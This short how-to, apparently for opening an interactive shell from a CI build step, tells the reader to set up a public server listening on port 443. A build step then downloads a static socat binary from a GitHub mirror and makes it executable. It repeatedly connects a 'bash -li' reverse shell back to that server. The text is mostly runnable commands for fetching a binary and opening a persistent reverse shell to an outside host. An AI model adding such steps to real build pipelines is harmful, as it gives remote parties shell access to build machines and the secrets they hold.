- Create a publicly accessible server
- Ensure firewall on the instance incoming port 443
- Add a build step:
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O ~/socat
chmod +x ~/socat
while :
do
echo "Attempting to connect"
~/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:${INSTANCE_IP}:443
done
- On your server run:
sudo socat file:`tty`,raw,echo=0 tcp-listen:443